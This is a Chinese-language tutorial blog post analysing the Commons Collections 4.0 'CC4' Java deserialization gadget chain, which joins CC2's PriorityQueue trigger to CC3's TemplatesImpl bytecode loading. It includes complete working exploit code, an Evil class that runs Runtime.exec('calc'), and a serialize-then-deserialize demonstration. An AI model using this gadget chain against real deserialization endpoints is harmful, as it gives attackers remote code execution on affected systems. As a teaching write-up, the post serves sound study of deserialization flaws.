前言
在commons collections4.0之后,InvokerTransformer不再实现Serializable,这就要求我们以其他视角来构造利用链。CC4的后半部分跟CC3一样,也是采用动态加载字节码的方式来执行命令,然后前半部分跟CC2一样,用的还是PriorityQueue等。其实就是两条链子的选择性拼接。
用ysoserial的话来说,CC4就是CC2的变体,使用InstantiateTransformer来替代InvokerTransformer

环境配置
CC4的环境是commons collections4,因此我们修改pom.xml如下
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
|
然后在maven同步项目
当然也可以用javassist来动态生成类,修改pom.xml如下
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
|
这次我们尝试手工构建恶意类,javassist放在后面简单提一下
过程分析
后半部分(CC3)
这一部分跟CC3一样,可以参考文章Java反序列化 CC3链分析,我简单描述一下过程,方便回忆
我们先手工构建恶意类,在CC3我们提到过,构造的恶意类要继承AbstractTranslet,否则会抛出异常


我们跟进AbstractTranslet,可以看到需要实现两个transform抽象方法

可以手动添加,也可以用IDEA自动添加,如果自动添加的话如下

然后我们的命令要放在static里面,因为存在静态初始化方法的类,在该类首次被加载并初始化时执行一次,如反射、创建实例、访问静态成员等,该方法都会被自动调用,前面的文章也提到过,就不提这么多了
构造代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
用Java8执行命令,构建class文件
效果如下

然后根据CC3的链子,我们构造代码验证一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class Main { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("E:\\test\\Evil.class")); byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class cs = TrAXFilter.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform('1');
} public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
成功弹出计算器

如果用javassist的话,那代码就如下,具体原因我在之前的CC2和CC3都写过,感兴趣的可以看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public class Main { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String rename = "Evil" + System.nanoTime(); cc.setName(rename); cc.writeFile(); byte[] bytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class cs = TrAXFilter.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform('1');
} public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
成功弹出计算器

前半部分(CC2)
这一部分跟CC2一样,可以参考文章Java反序列化 CC2链分析的利用链1部分,很详细
相关代码如下
1 2 3 4 5 6 7 8 9 10
| TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue(1);
queue.add(1); queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, transformingComparator);
|
完整利用
根据前面的内容,我们得到完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public class Main { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("E:\\test\\Evil.class")); byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", targetByteCodes);
Class cs = TrAXFilter.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue(1);
queue.add(1); queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, transformingComparator);
try{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); }catch (Exception e){ e.printStackTrace(); }
try{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser")); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); }
} public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
成功弹出计算器

这里我放个CC4的流程图方便理解

总结
其实CC4就是CC2和CC3的排列组合,没有什么新的内容,只要把前面的两条链子理解透彻,CC4就水到渠成了